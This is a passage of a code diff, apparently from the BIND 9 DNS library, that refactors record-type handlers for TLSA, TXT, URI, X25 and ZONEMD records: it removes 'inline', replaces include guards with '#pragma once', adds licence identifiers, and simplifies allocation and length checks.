 
@@ -62,7 +64,7 @@ generic_fromtext_tlsa(ARGS_FROMTEXT) {
 	return (isc_hex_tobuffer(lexer, target, -2));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_totext_tlsa(ARGS_TOTEXT) {
 	isc_region_t sr;
 	char buf[sizeof("64000 ")];
@@ -117,14 +119,13 @@ generic_totext_tlsa(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_fromwire_tlsa(ARGS_FROMWIRE) {
 	isc_region_t sr;
 
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 
@@ -137,28 +138,28 @@ generic_fromwire_tlsa(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromtext_tlsa(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_tlsa);
 
 	return (generic_fromtext_tlsa(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_tlsa(ARGS_TOTEXT) {
 	REQUIRE(rdata->type == dns_rdatatype_tlsa);
 
 	return (generic_totext_tlsa(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_tlsa(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_tlsa);
 
 	return (generic_fromwire_tlsa(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_tlsa(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -171,7 +172,7 @@ towire_tlsa(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_tlsa(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -187,7 +188,7 @@ compare_tlsa(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_fromstruct_tlsa(ARGS_FROMSTRUCT) {
 	dns_rdata_tlsa_t *tlsa = source;
 
@@ -205,7 +206,7 @@ generic_fromstruct_tlsa(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, tlsa->data, tlsa->length));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_tostruct_tlsa(ARGS_TOSTRUCT) {
 	dns_rdata_tlsa_t *tlsa = target;
 	isc_region_t region;
@@ -229,15 +230,11 @@ generic_tostruct_tlsa(ARGS_TOSTRUCT) {
 	tlsa->length = region.length;
 
 	tlsa->data = mem_maybedup(mctx, region.base, region.length);
-	if (tlsa->data == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	tlsa->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 generic_freestruct_tlsa(ARGS_FREESTRUCT) {
 	dns_rdata_tlsa_t *tlsa = source;
 
@@ -253,14 +250,14 @@ generic_freestruct_tlsa(ARGS_FREESTRUCT) {
 	tlsa->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_tlsa(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_tlsa);
 
 	return (generic_fromstruct_tlsa(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_tlsa(ARGS_TOSTRUCT) {
 	dns_rdata_tlsa_t *tlsa = target;
 
@@ -274,7 +271,7 @@ tostruct_tlsa(ARGS_TOSTRUCT) {
 	return (generic_tostruct_tlsa(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_tlsa(ARGS_FREESTRUCT) {
 	dns_rdata_tlsa_t *tlsa = source;
 
@@ -284,18 +281,19 @@ freestruct_tlsa(ARGS_FREESTRUCT) {
 	generic_freestruct_tlsa(source);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_tlsa(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_tlsa);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_tlsa(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -306,7 +304,7 @@ digest_tlsa(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_tlsa(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_tlsa);
 
@@ -318,7 +316,7 @@ checkowner_tlsa(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_tlsa(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_tlsa);
 
@@ -329,7 +327,7 @@ checknames_tlsa(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_tlsa(ARGS_COMPARE) {
 	return (compare_tlsa(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/tlsa_52.h b/lib/dns/rdata/generic/tlsa_52.h
index 68e9c5691e..fd75f958f4 100644
--- a/lib/dns/rdata/generic/tlsa_52.h
+++ b/lib/dns/rdata/generic/tlsa_52.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_TLSA_52_H
-#define GENERIC_TLSA_52_H 1
+#pragma once
 
 /*!
  *  \brief per rfc6698.txt
@@ -24,5 +25,3 @@ typedef struct dns_rdata_tlsa {
 	uint16_t length;
 	unsigned char *data;
 } dns_rdata_tlsa_t;
-
-#endif /* GENERIC_TLSA_52_H */
diff --git a/lib/dns/rdata/generic/txt_16.c b/lib/dns/rdata/generic/txt_16.c
index 643fb3dbd7..ce20249686 100644
--- a/lib/dns/rdata/generic/txt_16.c
+++ b/lib/dns/rdata/generic/txt_16.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_TXT_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 generic_fromtext_txt(ARGS_FROMTEXT) {
 	isc_token_t token;
 	int strings;
@@ -28,7 +30,7 @@ generic_fromtext_txt(ARGS_FROMTEXT) {
 	strings = 0;
 	if ((options & DNS_RDATA_UNKNOWNESCAPE) != 0) {
 		isc_textregion_t r;
-		DE_CONST("#", r.base);
+		r.base = UNCONST("#");
 		r.length = 1;
 		RETERR(txt_fromtext(&r, target));
 		strings++;
@@ -37,7 +39,8 @@ generic_fromtext_txt(ARGS_FROMTEXT) {
 		RETERR(isc_lex_getmastertoken(lexer, &token,
 					      isc_tokentype_qstring, true));
 		if (token.type != isc_tokentype_qstring &&
-		    token.type != isc_tokentype_string) {
+		    token.type != isc_tokentype_string)
+		{
 			break;
 		}
 		RETTOK(txt_fromtext(&token.value.as_textregion, target));
@@ -48,7 +51,7 @@ generic_fromtext_txt(ARGS_FROMTEXT) {
 	return (strings == 0 ? ISC_R_UNEXPECTEDEND : ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_totext_txt(ARGS_TOTEXT) {
 	isc_region_t region;
 
@@ -66,14 +69,13 @@ generic_totext_txt(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_fromwire_txt(ARGS_FROMWIRE) {
 	isc_result_t result;
 
 	UNUSED(type);
 	UNUSED(dctx);
 	UNUSED(rdclass);
-	UNUSED(options);
 
 	do {
 		result = txt_fromwire(source, target);
@@ -84,14 +86,14 @@ generic_fromwire_txt(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromtext_txt(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_txt);
 
 	return (generic_fromtext_txt(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_txt(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_txt);
@@ -99,14 +101,14 @@ totext_txt(ARGS_TOTEXT) {
 	return (generic_totext_txt(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_txt(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_txt);
 
 	return (generic_fromwire_txt(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_txt(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_txt);
 
@@ -115,7 +117,7 @@ towire_txt(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_txt(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -129,7 +131,7 @@ compare_txt(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_fromstruct_txt(ARGS_FROMSTRUCT) {
 	dns_rdata_txt_t *txt = source;
 	isc_region_t region;
@@ -157,7 +159,7 @@ generic_fromstruct_txt(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, txt->txt, txt->txt_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_tostruct_txt(ARGS_TOSTRUCT) {
 	dns_rdata_txt_t *txt = target;
 	isc_region_t r;
@@ -170,16 +172,12 @@ generic_tostruct_txt(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &r);
 	txt->txt_len = r.length;
 	txt->txt = mem_maybedup(mctx, r.base, r.length);
-	if (txt->txt == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	txt->offset = 0;
 	txt->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 generic_freestruct_txt(ARGS_FREESTRUCT) {
 	dns_rdata_txt_t *txt = source;
 
@@ -195,14 +193,14 @@ generic_freestruct_txt(ARGS_FREESTRUCT) {
 	txt->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_txt(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_txt);
 
 	return (generic_fromstruct_txt(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_txt(ARGS_TOSTRUCT) {
 	dns_rdata_txt_t *txt = target;
 
@@ -216,7 +214,7 @@ tostruct_txt(ARGS_TOSTRUCT) {
 	return (generic_tostruct_txt(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_txt(ARGS_FREESTRUCT) {
 	dns_rdata_txt_t *txt = source;
 
@@ -226,18 +224,19 @@ freestruct_txt(ARGS_FREESTRUCT) {
 	generic_freestruct_txt(source);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_txt(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_txt);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_txt(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -248,7 +247,7 @@ digest_txt(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_txt(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_txt);
 
@@ -260,7 +259,7 @@ checkowner_txt(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_txt(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_txt);
 
@@ -271,7 +270,7 @@ checknames_txt(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_txt(ARGS_COMPARE) {
 	return (compare_txt(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/txt_16.h b/lib/dns/rdata/generic/txt_16.h
index 3182466659..3e4c58ad7a 100644
--- a/lib/dns/rdata/generic/txt_16.h
+++ b/lib/dns/rdata/generic/txt_16.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,7 @@
  */
 
 /* */
-#ifndef GENERIC_TXT_16_H
-#define GENERIC_TXT_16_H 1
+#pragma once
 
 typedef struct dns_rdata_txt_string {
 	uint8_t length;
@@ -40,5 +41,3 @@ dns_rdata_txt_next(dns_rdata_txt_t *);
 
 isc_result_t
 dns_rdata_txt_current(dns_rdata_txt_t *, dns_rdata_txt_string_t *);
-
-#endif /* GENERIC_TXT_16_H */
diff --git a/lib/dns/rdata/generic/uri_256.c b/lib/dns/rdata/generic/uri_256.c
index ae53d85c4b..985a353975 100644
--- a/lib/dns/rdata/generic/uri_256.c
+++ b/lib/dns/rdata/generic/uri_256.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_URI_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_uri(ARGS_FROMTEXT) {
 	isc_token_t token;
 
@@ -58,7 +60,7 @@ fromtext_uri(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_uri(ARGS_TOTEXT) {
 	isc_region_t region;
 	unsigned short priority, weight;
@@ -94,7 +96,7 @@ totext_uri(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_uri(ARGS_FROMWIRE) {
 	isc_region_t region;
 
@@ -103,7 +105,6 @@ fromwire_uri(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	/*
 	 * Priority, weight
@@ -120,7 +121,7 @@ fromwire_uri(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, region.base, region.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_uri(ARGS_TOWIRE) {
 	isc_region_t region;
 
@@ -133,7 +134,7 @@ towire_uri(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, region.base, region.length));
 }
 
-static inline int
+static int
 compare_uri(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -171,7 +172,7 @@ compare_uri(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_uri(ARGS_FROMSTRUCT) {
 	dns_rdata_uri_t *uri = source;
 
@@ -200,14 +201,14 @@ fromstruct_uri(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, uri->target, uri->tgt_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_uri(ARGS_TOSTRUCT) {
 	dns_rdata_uri_t *uri = target;
 	isc_region_t sr;
 
 	REQUIRE(rdata->type == dns_rdatatype_uri);
 	REQUIRE(uri != NULL);
-	REQUIRE(rdata->length != 0);
+	REQUIRE(rdata->length >= 4);
 
 	uri->common.rdclass = rdata->rdclass;
 	uri->common.rdtype = rdata->type;
@@ -218,18 +219,12 @@ tostruct_uri(ARGS_TOSTRUCT) {
 	/*
 	 * Priority
 	 */
-	if (sr.length < 2) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	uri->priority = uint16_fromregion(&sr);
 	isc_region_consume(&sr, 2);
 
 	/*
 	 * Weight
 	 */
-	if (sr.length < 2) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	uri->weight = uint16_fromregion(&sr);
 	isc_region_consume(&sr, 2);
 
@@ -238,15 +233,11 @@ tostruct_uri(ARGS_TOSTRUCT) {
 	 */
 	uri->tgt_len = sr.length;
 	uri->target = mem_maybedup(mctx, sr.base, sr.length);
-	if (uri->target == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	uri->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_uri(ARGS_FREESTRUCT) {
 	dns_rdata_uri_t *uri = (dns_rdata_uri_t *)source;
 
@@ -263,18 +254,19 @@ freestruct_uri(ARGS_FREESTRUCT) {
 	uri->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_uri(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_uri);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_uri(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -285,7 +277,7 @@ digest_uri(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_uri(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_uri);
 
@@ -297,7 +289,7 @@ checkowner_uri(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_uri(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_uri);
 
@@ -308,7 +300,7 @@ checknames_uri(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_uri(ARGS_COMPARE) {
 	return (compare_uri(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/uri_256.h b/lib/dns/rdata/generic/uri_256.h
index e0978be375..be99e95d97 100644
--- a/lib/dns/rdata/generic/uri_256.h
+++ b/lib/dns/rdata/generic/uri_256.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_URI_256_H
-#define GENERIC_URI_256_H 1
+#pragma once
 
 typedef struct dns_rdata_uri {
 	dns_rdatacommon_t common;
@@ -20,5 +21,3 @@ typedef struct dns_rdata_uri {
 	unsigned char *target;
 	uint16_t tgt_len;
 } dns_rdata_uri_t;
-
-#endif /* GENERIC_URI_256_H */
diff --git a/lib/dns/rdata/generic/x25_19.c b/lib/dns/rdata/generic/x25_19.c
index 0ba32d582f..1b04b8b108 100644
--- a/lib/dns/rdata/generic/x25_19.c
+++ b/lib/dns/rdata/generic/x25_19.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_X25_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_x25(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned int i;
@@ -44,7 +46,7 @@ fromtext_x25(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_x25(ARGS_TOTEXT) {
 	isc_region_t region;
 
@@ -57,7 +59,7 @@ totext_x25(ARGS_TOTEXT) {
 	return (txt_totext(&region, true, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_x25(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	unsigned int i;
@@ -67,7 +69,6 @@ fromwire_x25(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(dctx);
 	UNUSED(rdclass);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 	if (sr.length < 5 || sr.base[0] != (sr.length - 1)) {
@@ -81,7 +82,7 @@ fromwire_x25(ARGS_FROMWIRE) {
 	return (txt_fromwire(source, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_x25(ARGS_TOWIRE) {
 	UNUSED(cctx);
 
@@ -91,7 +92,7 @@ towire_x25(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_x25(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -107,7 +108,7 @@ compare_x25(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_x25(ARGS_FROMSTRUCT) {
 	dns_rdata_x25_t *x25 = source;
 	uint8_t i;
@@ -135,7 +136,7 @@ fromstruct_x25(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, x25->x25, x25->x25_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_x25(ARGS_TOSTRUCT) {
 	dns_rdata_x25_t *x25 = target;
 	isc_region_t r;
@@ -152,15 +153,11 @@ tostruct_x25(ARGS_TOSTRUCT) {
 	x25->x25_len = uint8_fromregion(&r);
 	isc_region_consume(&r, 1);
 	x25->x25 = mem_maybedup(mctx, r.base, x25->x25_len);
-	if (x25->x25 == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	x25->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_x25(ARGS_FREESTRUCT) {
 	dns_rdata_x25_t *x25 = source;
 
@@ -177,18 +174,19 @@ freestruct_x25(ARGS_FREESTRUCT) {
 	x25->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_x25(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_x25);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_x25(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -199,7 +197,7 @@ digest_x25(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_x25(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_x25);
 
@@ -211,7 +209,7 @@ checkowner_x25(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_x25(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_x25);
 
@@ -222,7 +220,7 @@ checknames_x25(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_x25(ARGS_COMPARE) {
 	return (compare_x25(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/x25_19.h b/lib/dns/rdata/generic/x25_19.h
index e4c8438a51..74a5ee1d08 100644
--- a/lib/dns/rdata/generic/x25_19.h
+++ b/lib/dns/rdata/generic/x25_19.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_X25_19_H
-#define GENERIC_X25_19_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC1183 */
@@ -21,5 +22,3 @@ typedef struct dns_rdata_x25 {
 	unsigned char *x25;
 	uint8_t x25_len;
 } dns_rdata_x25_t;
-
-#endif /* GENERIC_X25_19_H */
diff --git a/lib/dns/rdata/generic/zonemd_63.c b/lib/dns/rdata/generic/zonemd_63.c
index 8bb2478e35..ca522a64dd 100644
--- a/lib/dns/rdata/generic/zonemd_63.c
+++ b/lib/dns/rdata/generic/zonemd_63.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_ZONEMD_ATTRIBUTES 0
 
-static inline isc_result_t
+static isc_result_t
 fromtext_zonemd(ARGS_FROMTEXT) {
 	isc_token_t token;
 	int digest_type, length;
@@ -75,7 +77,7 @@ fromtext_zonemd(ARGS_FROMTEXT) {
 	return (result);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_zonemd(ARGS_TOTEXT) {
 	isc_region_t sr;
 	char buf[sizeof("0123456789")];
@@ -138,7 +140,7 @@ totext_zonemd(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_zonemd(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	size_t digestlen = 0;
@@ -146,7 +148,6 @@ fromwire_zonemd(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 
@@ -190,7 +191,7 @@ fromwire_zonemd(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_zonemd(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -203,7 +204,7 @@ towire_zonemd(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_zonemd(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -219,7 +220,7 @@ compare_zonemd(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_zonemd(ARGS_FROMSTRUCT) {
 	dns_rdata_zonemd_t *zonemd = source;
 
@@ -246,7 +247,7 @@ fromstruct_zonemd(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, zonemd->digest, zonemd->length));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_zonemd(ARGS_TOSTRUCT) {
 	dns_rdata_zonemd_t *zonemd = target;
 	isc_region_t region;
@@ -270,15 +271,11 @@ tostruct_zonemd(ARGS_TOSTRUCT) {
 	zonemd->length = region.length;
 
 	zonemd->digest = mem_maybedup(mctx, region.base, region.length);
-	if (zonemd->digest == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	zonemd->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_zonemd(ARGS_FREESTRUCT) {
 	dns_rdata_zonemd_t *zonemd = source;
 
@@ -295,18 +292,19 @@ freestruct_zonemd(ARGS_FREESTRUCT) {
 	zonemd->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_zonemd(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_zonemd);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_zonemd(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -317,7 +315,7 @@ digest_zonemd(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_zonemd(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_zonemd);
 
@@ -329,7 +327,7 @@ checkowner_zonemd(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_zonemd(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_zonemd);
 
@@ -340,7 +338,7 @@ checknames_zonemd(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_zonemd(ARGS_COMPARE) {
 	return (compare_zonemd(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/zonemd_63.h b/lib/dns/rdata/generic/zonemd_63.h
index 592d89f46a..5856b0d522 100644
--- a/lib/dns/rdata/generic/zonemd_63.h
+++ b/lib/dns/rdata/generic/zonemd_63.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_ZONEMD_63_H
-#define GENERIC_ZONEMD_63_H 1
+#pragma once
 
 /* Known digest type(s). */
 #define DNS_ZONEMD_DIGEST_SHA384 (1)
